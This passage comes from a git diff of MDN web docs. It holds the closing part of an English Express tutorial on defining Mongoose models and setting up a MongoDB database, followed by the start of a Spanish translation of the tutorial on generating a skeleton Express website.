href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs).</p> + +<h4 id="Working_with_related_documents_—_population">Working with related documents — population</h4> + +<p>You can create references from one document/model instance to another using the <code>ObjectId</code> schema field, or from one document to many using an array of <code>ObjectIds</code>. The field stores the id of the related model. If you need the actual content of the associated document, you can use the <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code> method in a query to replace the id with the actual data.</p> + +<p>For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of <code>ObjectId</code>. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.</p> + +<pre class="brush: js"><code>var mongoose = require('mongoose') + , Schema = mongoose.Schema + +var authorSchema = Schema({ + name : String, + stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }] +}); + +var storySchema = Schema({ + author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' }, + title : String +}); + +var Story = mongoose.model('Story', storySchema); +var Author = mongoose.model('Author', authorSchema);</code></pre> + +<p>We can save our references to the related document by assigning the <code>_id</code> value. Below we create an author, then a story, and assign the author id to our stories author field.</p> + +<pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' }); + +bob.save(function (err) { + if (err) return handleError(err); + + //Bob now exists, so lets create a story + var story = new Story({ + title: "Bob goes sledding", + author: bob._id // assign the _id from the our author Bob. This ID is created by default! + }); + + story.save(function (err) { + if (err) return handleError(err); + // Bob now has his story + }); +});</code></pre> + +<p>Our story document now has an author referenced by the author document's ID. In order to get the author information in our story results we use <code>populate()</code>, as shown below.</p> + +<pre class="brush: js"><code>Story +.findOne({ title: 'Bob goes sledding' }) +.populate('author') //This populates the author id with actual author information! +.exec(function (err, story) { + if (err) return handleError(err); + console.log('The author is %s', story.author.name); + // prints "The author is Bob Smith" +});</code></pre> + +<div class="note"> +<p><strong>Note:</strong> Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's <code>stories</code> array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.</p> + +<p>A better way is to get the <code>_id</code> of our <em>author</em>, then use <code>find()</code> to search for this in the author field across all stories.</p> + +<pre class="brush: js"><code>Story +.find({ author : bob._id }) +.exec(function (err, stories) { + if (err) return handleError(err); + // returns all stories that have Bob's id as their author. +});</code> +</pre> +</div> + +<p>This is almost everything you need to know about working with related items<em> for this tutorial</em>. For more detailed information see <a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs).</p> + +<h3 id="One_schemamodel_per_file">One schema/model per file</h3> + +<p>While you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:</p> + +<pre class="brush: js"><code>// File: ./models/somemodel.js + +//Require Mongoose +var mongoose = require('mongoose'); + +//Define a schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string : String, + a_date : Date, +}); + +<strong>//Export function to create "SomeModel" model class +module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre> + +<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p> + +<pre class="brush: js"><code>//Create a SomeModel model just by requiring the module +var SomeModel = require('../models/somemodel') + +// Use the SomeModel object (model) to find all SomeModel records +SomeModel.find(callback_function);</code></pre> + +<h2 id="Setting_up_the_MongoDB_database">Setting up the MongoDB database</h2> + +<p>Now that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the <em>LocalLibrary</em> website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.</p> + +<p>For this tutorial we're going to use <a href="https://mlab.com/welcome/">mLab</a>'s free cloud-hosted "<a href="https://mlab.com/plans/pricing/">sandbox</a>" database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because mLab is a popular <em>database as a service</em> vendor that you might reasonably choose for your production database (other popular choices at the time of writing include <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> and <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p> + +<div class="note"> +<p><strong>Note:</strong> If you prefer you can set up a MongoDb database locally by downloading and installing the <a href="https://www.mongodb.com/download-center">appropriate binaries for your system</a>. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.</p> +</div> + +<p>You will first need to <a href="https://mlab.com/signup/">create an account</a> with mLab (this is free, and just requires that you enter basic contact details and acknowledge their terms of service). </p> + +<p>After logging in, you'll be taken to the <a href="https://mlab.com/home">home</a> screen:</p> + +<ol> + <li>Click <strong>Create New</strong> in the <em>MongoDB Deployments</em> section.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> + <li>This will open the <em>Cloud Provider Selection </em>screen.<br> + <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br> + + <ul> + <li>Select the SANDBOX (Free) plan from the Plan Type section. </li> + <li>Select any provider from the <em>Cloud Provider </em>section. Different providers offer different regions (displayed below the selected plan type).</li> + <li>Click the <strong>Continue</strong> button.</li> + </ul> + </li> + <li>This will open the <em>Select Region</em> screen. + <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p> + + <ul> + <li> + <p>Select the region closest to you and then <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>This will open the <em>Final Details</em> screen.<br> + <img alt="New deployment database name" src="https://mdn.mozillademos.org/files/15663/mLab_new_deployment_final_details.png" style="height: 569px; width: 1293px;"></p> + + <ul> + <li> + <p>Enter the name for the new database as <code>local_library</code> and then select <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>This will open the <em>Order Confirmation</em> screen.<br> + <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p> + + <ul> + <li> + <p>Click <strong>Submit Order</strong> to create the database.</p> + </li> + </ul> + </li> + <li> + <p>You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).<br> + <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br> + <br> + The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.</p> + </li> + <li>Click the <strong>Users</strong> tab and select the <strong>Add database user</strong> button.</li> + <li>Enter a username and password (twice), and then press <strong>Create</strong>. Do not select <em>Make read only</em>.<br> + <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li> +</ol> + +<p>You have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: <code>mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library</code>.</p> + +<h2 id="Install_Mongoose">Install Mongoose</h2> + +<p>Open a command prompt and navigate to the directory where you created your <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton Local Library website</a>. Enter the following command to install Mongoose (and its dependencies) and add it to your <strong>package.json</strong> file, unless you have already done so when reading the <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a> above.</p> + +<pre class="brush: bash">npm install mongoose +</pre> + +<h2 id="Connect_to_MongoDB">Connect to MongoDB</h2> + +<p>Open <strong>/app.js</strong> (in the root of your project) and copy the following text below where you declare the <em>Express application object</em> (after the line <code>var app = express();</code>). Replace the database url string ('<em>insert_your_database_url_here</em>') with the location URL representing your own database (i.e. using the information <a href="#Setting_up_the_MongoDB_database">from mLab</a>).</p> + +<pre class="brush: js">//Set up mongoose connection +var mongoose = require('mongoose'); +var mongoDB = '<em>insert_your_database_url_here</em>'; +mongoose.connect(mongoDB); +mongoose.Promise = global.Promise; +var db = mongoose.connection; +db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> + +<p>As discussed <a href="#Connecting_to_MongoDB">in the Mongoose primer above</a>, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console). </p> + +<h2 id="Defining_the_LocalLibrary_Schema">Defining the LocalLibrary Schema</h2> + +<p>We will define a separate module for each model, as <a href="#One_schemamodel_per_file">discussed above</a>. Start by creating a folder for our models in the project root (<strong>/models</strong>) and then create separate files for each of the models:</p> + +<pre>/express-locallibrary-tutorial //the project root + <strong>/models</strong> + <strong>author.js</strong> + <strong>book.js</strong> + <strong>bookinstance.js</strong> + <strong>genre.js</strong> +</pre> + +<h3 id="Author_model">Author model</h3> + +<p>Copy the <code>Author</code> schema code shown below and paste it into your <strong>./models/author.js</strong> file. The scheme defines an author has having <code>String</code> SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and <code>Date</code> fields for the date of birth and death.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var AuthorSchema = new Schema( + { + first_name: {type: String, required: true, max: 100}, + family_name: {type: String, required: true, max: 100}, + date_of_birth: {type: Date}, + date_of_death: {type: Date}, + } +); + +<strong>// Virtual for author's full name +AuthorSchema +.virtual('name') +.get(function () { + return this.family_name + ', ' + this.first_name; +}); + +// Virtual for author's lifespan +AuthorSchema +</strong>.virtual('lifespan') +.get(function () { + return (this.date_of_death.getYear() - this.date_of_birth.getYear()).toString(); +}); + +// Virtual for author's URL +AuthorSchema +.virtual('url') +.get(function () { + return '/catalog/author/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Author', AuthorSchema); + +</pre> + +<p>We've also declared a <a href="#Virtual_properties">virtual</a> for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.</p> + +<div class="note"> +<p><strong>Note:</strong> Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.<br> + At this point, a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!</p> +</div> + +<p>At the end of the module we export the model.</p> + +<h3 id="Book_model">Book model</h3> + +<p>Copy the <code>Book</code> schema code shown below and paste it into your <strong>./models/book.js</strong> file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookSchema = new Schema( + { + title: {type: String, required: true}, + <strong> author: {type: Schema.Types.ObjectId, ref: 'Author', required: true},</strong> + summary: {type: String, required: true}, + isbn: {type: String, required: true}, + <strong> genre: [{type: Schema.Types.ObjectId, ref: 'Genre'}]</strong> + } +); + +// Virtual for book's URL +BookSchema +.virtual('url') +.get(function () { + return '/catalog/book/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Book', BookSchema); +</pre> + +<p>The main difference here is that we've created two references to other models:</p> + +<ul> + <li>author is a reference to a single <code>Author</code> model object, and is required.</li> + <li>genre is a reference to an array of <code>Genre</code> model objects. We haven't declared this object yet!</li> +</ul> + +<h3 id="BookInstance_model">BookInstance model</h3> + +<p>Finally, copy the <code>BookInstance</code> schema code shown below and paste it into your <strong>./models/bookinstance.js</strong> file. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookInstanceSchema = new Schema( + { + book: { type: Schema.Types.ObjectId, ref: 'Book', required: true }, //reference to the associated book + imprint: {type: String, required: true}, + status: {type: String, required: true, <strong>enum: ['Available', 'Maintenance', 'Loaned', 'Reserved']</strong>, <strong>default: 'Maintenance'</strong>}, + due_back: {type: Date, <strong>default: Date.now</strong>} + } +); + +// Virtual for bookinstance's URL +BookInstanceSchema +.virtual('url') +.get(function () { + return '/catalog/bookinstance/' + this._id; +}); + +//Export model +module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> + +<p>The new things we show here are the field options:</p> + +<ul> + <li><code>enum</code>: This allows us to set the allowed values of a string. In this case, we use it to specify the availability status of our books (using an enum means that we can prevent mis-spellings and arbitrary values for our status)</li> + <li><code>default</code>: We use default to set the default status for newly created bookinstances to maintenance and the default <code>due_back</code> date to <code>now</code> (note how you can call the Date function when setting the date!)</li> +</ul> + +<p>Everything else should be familiar from our previous schema.</p> + +<h3 id="Genre_model_-_challenge!">Genre model - challenge!</h3> + +<p>Open your <strong>./models/genre.js</strong> file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).</p> + +<p>The definition will be very similar to the other models:</p> + +<ul> + <li>The model should have a <code>String</code> SchemaType called <code>name</code> to describe the genre.</li> + <li>This name should be required and have between 3 and 100 characters.</li> + <li>Declare a <a href="#Virtual_properties">virtual</a> for the genre's URL, named <code>url</code>.</li> + <li>Export the model.</li> +</ul> + +<h2 id="Testing_—_create_some_items">Testing — create some items</h2> + +<p>That's it. We now have all models for the site set up!</p> + +<p>In order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an <em>independent</em> script to create items of each type:</p> + +<ol> + <li>Download (or otherwise create) the file <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> inside your <em>express-locallibrary-tutorial</em> directory (in the same level as <code>package.json</code>). + + <div class="note"> + <p><strong>Note:</strong> You don't need to know how <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> works; it just adds sample data into the database.</p> + </div> + </li> + <li>Enter the following commands in the project root to install the <em>async</em> module that is required by the script (we'll discuss this in later tutorials, ) + <pre class="brush: bash">npm install async</pre> + </li> + <li>Run the script using node in your command prompt, passing in the URL of your <em>MongoDB</em> database (the same one you replaced the <em>insert_your_database_url_here </em>placeholder with, inside <code>app.js</code> earlier): + <pre class="brush: bash">node populatedb <your mongodb url></pre> + </li> + <li>The script should run through to completion, displaying items as it creates them in the terminal.</li> +</ol> + +<div class="note"> +<p><strong>Tip:</strong> Go to your database on <a href="https://mlab.com/home">mLab</a>. You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.</p> +</div> + +<h2 id="Summary">Summary</h2> + +<p>In this article, we've learned a bit about databases and ORMs on Node/Express, and a lot about how Mongoose schema and models are defined. We then used this information to design and implement <code>Book</code>, <code>BookInstance</code>, <code>Author</code> and <code>Genre</code> models for the <em>LocalLibrary</em> website.</p> + +<p>Last of all we tested our models by creating a number of instances (using a standalone script). In the next article we'll look at creating some pages to display these objects.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li> + <li><a href="http://mongoosejs.com/">Mongoose website</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose Guide</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html">Schema Types</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs)</li> + <li><a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> + +<p> </p> diff --git a/files/es/learn/server-side/express_nodejs/skeleton_website/index.html b/files/es/learn/server-side/express_nodejs/skeleton_website/index.html new file mode 100644 index 0000000000..b829e52665 --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/skeleton_website/index.html @@ -0,0 +1,502 @@ +--- +title: 'Express Tutorial Part 2: Creating a skeleton website' +slug: Learn/Server-side/Express_Nodejs/skeleton_website +translation_of: Learn/Server-side/Express_Nodejs/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<p class="summary">Este segundo artículo de nuestro <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial Express</a> muestra cómo puede crear un "esqueleto" para un proyecto de sitio web que luego puede completar con rutas, plantillas/vistas, y llamadas a base de datos especifícas del sitio.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Configurar un entorno de desarrollo de Node</a>. Revise el Tutorial Express.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Poder empezar sus nuevos proyectos web usando el <em>Generador de Aplicaciones Express</em>.</td> + </tr> + </tbody> +</table> + +<h2 id="Visión_General">Visión General</h2> + +<p>Este artículo muestra cómo puede crear un sitio web "esqueleto" usando la herramienta <a href="https://expressjs.com/en/starter/generator.html">Generador de Aplicaciones Express</a>, que luego puede completar con rutas, vistas/plantillas, y llamadas a base de datos especifícas del sitio. En este caso usaremos la herramienta para crear el framework para nuestro <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">website Local Library</a>, al que luego agregaremos todo el código que el sitio necesite. El proceso es extremadamente simple, requiriendo sólo que se invoque el generador en la línea de comandos con un nombre para el nuevo proyecto, opcionalmente especificando también el motor de plantillas y el generador de CSS a utilizar.</p> + +<p><span style="line-height: 1.5;">Las siguientes secciones muestran como puede llamar al generador de aplicaciones, y proporcionan una pequeña explicación sobre las diferentes opciones para vistas y CSS. También explicaremos como está estructurado el esqueleto del sitio web. Al final, mostraremos como puede ejecutar el sitio web para verificar que funciona.</span></p> + +<div class="note"> +<p><span style="line-height: 1.5;"><strong>Nota</strong>: El <em>Generador de Aplicaciones Express</em> no es el único generador para aplicaciones Express, y el proyecto generado no es la única forma viable para estructurar sus archivos y directorios. El sitio generado, sin embargo, tiene una estructura modular que es fácil de extender y comprender. Para informacion sobre una <em>mínima</em> aplicación Express, vea el <a href="https://expressjs.com/en/starter/hello-world.html">Ejemplo Hello world </a> (Express docs).</span></p> +</div> + +<h2 id="Usando_el_generador_de_aplicaciones">Usando el generador de aplicaciones</h2> + +<p>Ya debe haber instalado el generador como parte de <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Configurar un entorno de desarrollo de Node</a>. Como un rápido recordatorio, la herramienta generador se instala para todos los sitios usando el manejador de paquetes NPM, como se muestra:</p> + +<pre class="brush: bash notranslate"><code>npm install express-generator -g</code></pre> + +<p>El generador tiene un número de opciones, las cuales puede observar en la línea de comandos usando el comando <code>--help</code> (o bien <code>-h</code>):</p> + +<pre class="brush: bash notranslate">> express --help + + Usage: express [options] [dir] + + Options: + + -h, --help output usage information + --version output the version number + -e, --ejs add ejs engine support + --pug add pug engine support + --hbs add handlebars engine support + -H, --hogan add hogan.js engine support + -v, --view <engine> add view <engine> support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade) + -c, --css <engine> add stylesheet <engine> support (less|stylus|compass|sass) (defaults to plain css) + --git add .gitignore + -f, --force force on non-empty directory +</pre> + +<p>Simplemente puede especificar <code>express</code> para crear un proyecto dentro del directorio actual usando el motor de plantillas <em>Jade</em> y CSS plano (si especifica un nombre de directorio entonces el proyecto será creado en un subdirectorio con ese nombre).</p> + +<pre class="brush: bash notranslate"><code>express</code></pre> + +<p>También puede seleccionar el motor de plantillas para las vistas usando <code>--view</code> y/o un motor generador de CSS usando <code>--css</code>.</p> + +<div class="note"> +<p><strong>Nota:</strong> Las otras opciones para elegir motores de plantillas (e.g. <code>--hogan</code>, <code>--ejs</code>, <code>--hbs</code> etc.) están descontinuadas. Use <code>--view</code> (o bien<code> -v</code>)!</p> +</div> + +<h3 id="¿Cuál_motor_de_vistas_debo_usar">¿Cuál motor de vistas debo usar?</h3> + +<p>El <em>Generador de Aplicaciones Express</em> le permite configurar un número de populares motores de plantillas, incluyendo <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, y <a href="https://www.npmjs.com/package/vash">Vash</a>, aunque si no se especifica una opcion de vista, selecciona Jade por defecto. Express puede soportar un gran número de motores de plantillas <a href="https://github.com/expressjs/express/wiki#template-engines">aquí una lista</a>.</p> + +<div class="note"> +<p><strong>Nota:</strong> Si quiere usar un motor de plantillas que no es soportado por el generador entonces vea el artículo <a href="https://expressjs.com/en/guide/using-template-engines.html">Usando motores de plantillas con Express</a> (Express docs) y la documentación de su motor de plantillas.</p> +</div> + +<p>Generalmente hablando debe seleccionar un motor de plantillas que le brinde toda la funcionalidad que necesite y le permita ser productivo rápidamente — o en otras palabras, en la misma forma en que selecciona cualquier otro componente. Alguna de las cosas a considerar cuando se comparan motores de plantillas:</p> + +<ul> + <li>Tiempo de productividad — Si su equipo ya tiene experiencia con un lenguaje de plantillas entonces es probable que sean más productivos usando ese lenguaje. Si no, debería considerar la curva de aprendizaje relativa del motor de plantillas candidato. </li> + <li>Popularidad y actividad — Revise la popularidad del motor y si tiene una comunidad activa. Es importante obtener soporte para el motor cuando tenga problemas durante la vida útil del sitio web.</li> + <li>Estilo — Algunos motores de plantillas usan marcas específicas para indicar inserción de contenido dentro del HTML "ordinario", mientras que otros construyen el HTML usando una sintaxis diferente (por ejemplo, usando indentación (sangría) y nombres de bloque).</li> + <li>Tiempo Renderizado/desempeño.</li> + <li>Características — debe considerar si los motores que elija poseen las siguientes características disponibles: + <ul> + <li>Herencia del diseño: Le permite definir una plantilla base y luego "heredar" sólo las partes que desea que sean diferentes para una página particular. Típicamente esto es un mejor enfoque que construir plantillas incluyendo un número de componentes requeridos, contruyéndolas desde cero cada vez. </li> + <li>Soporte para incluir: Le permite construir plantillas incluyendo otras plantillas.</li> + <li>Control consiso de la sintanxis de variables y ciclos.</li> + <li>Habilidad para filtrar valores de variables a nivel de las plantillas (e.g. convertir variables en mayúsculas, o darle formato a una fecha).</li> + <li>Habilidad para generar formatos de salida distintos al HTML (e.g. JSON o XML).</li> + <li>Soporte para operaciones asincrónas y de transmisión.</li> + <li>Pueden ser usadas tanto en el cliente como en el servidor. Si un motor de plantillas puede ser usado del lado del cliente esto da la posibilidad de servir datos y tener todo o la mayoría del renderizado del lado del cliente.</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>Tip:</strong> En Internet hay muchos recursos que le ayudarán a comparar diferentes opciones. </p> +</div> + +<p>Para este proyecto usaremos el motor de plantillas <a href="https://pugjs.org/api/getting-started.html">Pug</a> (este es el recientemente renombrado motor Jade), ya que es de los más populares lenguajes de plantillas Express/JavaScript y es soportado por el generador por defecto.</p> + +<h3 id="¿Cuál_motor_de_hojas_de_estilo_CSS_debería_usar">¿Cuál motor de hojas de estilo CSS debería usar?</h3> + +<p>El <em>Generador de Aplicaciones Express</em> le permite crear un proyecto que puede usar los más comunes motores de hojas de estilos CSS: <a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>.</p> + +<div class="note"> +<p><strong>Nota: </strong>CSS tiene algunas limitaciones que dificultan ciertas tareas. Los motores de hojas de estilos CSS le permiten usar una sintaxis más poderosa para definir su CSS, y luego compilar la definición en texto plano para su uso en los navegadores .</p> +</div> + +<p>Como los motores de plantillas, debería usar el motor CSS que le permita a su equipo ser más productivo. Para este proyecto usaremos CSS ordinario (opción por defecto) ya que nuestros requerimientos no son lo suficientemente complicados para justificar el uso de un motor CSS. </p> + +<h3 id="¿Cuál_base_de_datos_debería_usar">¿Cuál base de datos debería usar?</h3> + +<p>El código generado no usa o incluye ninguna base de datos. Las aplicaciones <em>Express</em> pueden usar cualquier <a href="https://expressjs.com/en/guide/database-integration.html">mecanismo de bases de datos</a> soportado por <em>Node</em> (<em>Express</em> por si mismo no define ningún comportamiento o requerimiento para el manejo de bases de datos).</p> + +<p>Discutiremos la integración con una base de datos en un posterior artículo.</p> + +<h2 id="Creando_el_proyecto">Creando el proyecto</h2> + +<p>Para el ejemplo que vamos a crear la app <em>Local Library</em>, crearemos un proyecto llamado <em>express-locallibrary-tutorial usando la librería de plantillas </em><em>Pug</em> y ningún motor CSS.</p> + +<p>Primero navegue a donde quiera crear el proyecto y luego ejecute el <em>Generador de Aplicaciones Express en la línea de comandos como se muestra</em>:</p> + +<pre class="brush: bash notranslate">express express-locallibrary-tutorial --view=pug +</pre> + +<p>El generador creará (y listará) los archivos del proyecto.</p> + +<pre class="brush: bash notranslate"> create : express-locallibrary-tutorial + create : express-locallibrary-tutorial/package.json + create : express-locallibrary-tutorial/app.js + create : express-locallibrary-tutorial/public/images + create : express-locallibrary-tutorial/public + create : express-locallibrary-tutorial/public/stylesheets + create : express-locallibrary-tutorial/public/stylesheets/style.css + create : express-locallibrary-tutorial/public/javascripts + create : express-locallibrary-tutorial/routes + create : express-locallibrary-tutorial/routes/index.js + create : express-locallibrary-tutorial/routes/users.js + create : express-locallibrary-tutorial/views + create : express-locallibrary-tutorial/views/index.pug + create : express-locallibrary-tutorial/views/layout.pug + create : express-locallibrary-tutorial/views/error.pug + create : express-locallibrary-tutorial/bin + create : express-locallibrary-tutorial/bin/www + + install dependencies: + > cd express-locallibrary-tutorial && npm install + + run the app: + > SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + +<p>Al final de la lista el generador mostrará instrucciones sobre como instalar las dependencias necesarias (mostradas en el archivo <strong>package.json</strong>) y luego como ejecutar la aplicación (las instrucciones anteriores son para windows; en Linux/macOS serán ligeramente diferentes).</p> + +<h2 id="Ejecutando_el_esqueleto_del_sitio_web">Ejecutando el esqueleto del sitio web</h2> + +<p>En este punto tenemos un esqueleto completo de nuestro proyecto. El sitio web no hace mucho actualmente, pero es bueno ejecutarlo para ver como funciona.</p> + +<ol> + <li>Primero instale las dependencias (el comando <code>install</code> recuperará todas las dependencias listadas e el archivo <strong>package.json</strong> del proyecto). + + <pre class="brush: bash notranslate">cd express-locallibrary-tutorial +npm install</pre> + </li> + <li>Luego ejecute la aplicación. + <ul> + <li>En Windows, use este comando: + <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + </li> + <li>En macOS o Linux, use este comando: + <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm start +</pre> + </li> + </ul> + </li> + <li>Luego carge en su navegador <a href="http://localhost:3000/">http://localhost:3000/</a> para acceder a la aplicación.</li> +</ol> + +<p>Debería ver una página parecida a esta:</p> + +<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p> + +<p>Tiene una aplicación Express funcional, ejecutandose en <em>localhost:3000</em>.</p> + +<div class="note"> +<p><strong>Nota:</strong> También podría ejecutar la app usando el comando <code>npm start</code>. Especificado la variable DEBUG como se muestra habilita el logging/debugging por consola. Por ejemplo, cuando visite la página mostrada arriba verá la información de depuración como esta:</p> + +<pre class="brush: bash notranslate">>SET DEBUG=express-locallibrary-tutorial:* & npm start + +> express-locallibrary-tutorial@0.0.0 start D:\express-locallibrary-tutorial +> node ./bin/www + + express-locallibrary-tutorial:server Listening on port 3000 +0ms +GET / 200 288.474 ms - 170 +GET /stylesheets/style.css 200 5.799 ms - 111 +GET /favicon.ico 404 34.134 ms - 1335</pre> +</div> + +<h2 id="Habilite_el_reinicio_del_servidor_cuando_los_archivos_sean_modificados">Habilite el reinicio del servidor cuando los archivos sean modificados</h2> + +<p>Cualquier cambio que le haga a su sitio web Express no será visible hasta que reinicie el servidor. Rapidamente, tener que detener y reiniciar el servidor cada vez que hacemos un cambio, se vuelve irritante, así que es beneficioso tomarse un tiempo y automátizar el reinicio del servidor cuando sea necesario.</p> + +<p>Una de las herramientas más sencillas para este propósito es <a href="https://github.com/remy/nodemon">nodemon</a>. Éste usualmente se instala globalmente (ya que es una "herramienta"), pero aquí lo instalaremos y usaremos localmente como una dependencia de desarrollo, así cualquier desarrollador que esté trabajando con el proyecto lo obtendrá automáticamente cuando instale la aplicación. Use el siguiente comando en el directorio raíz del esqueleto del proyecto:</p> + +<pre class="brush: bash notranslate">npm install --save-dev nodemon</pre> + +<p>Si abre el archivo <strong>package.json</strong> de su proyecto verá una nueva sección con esta 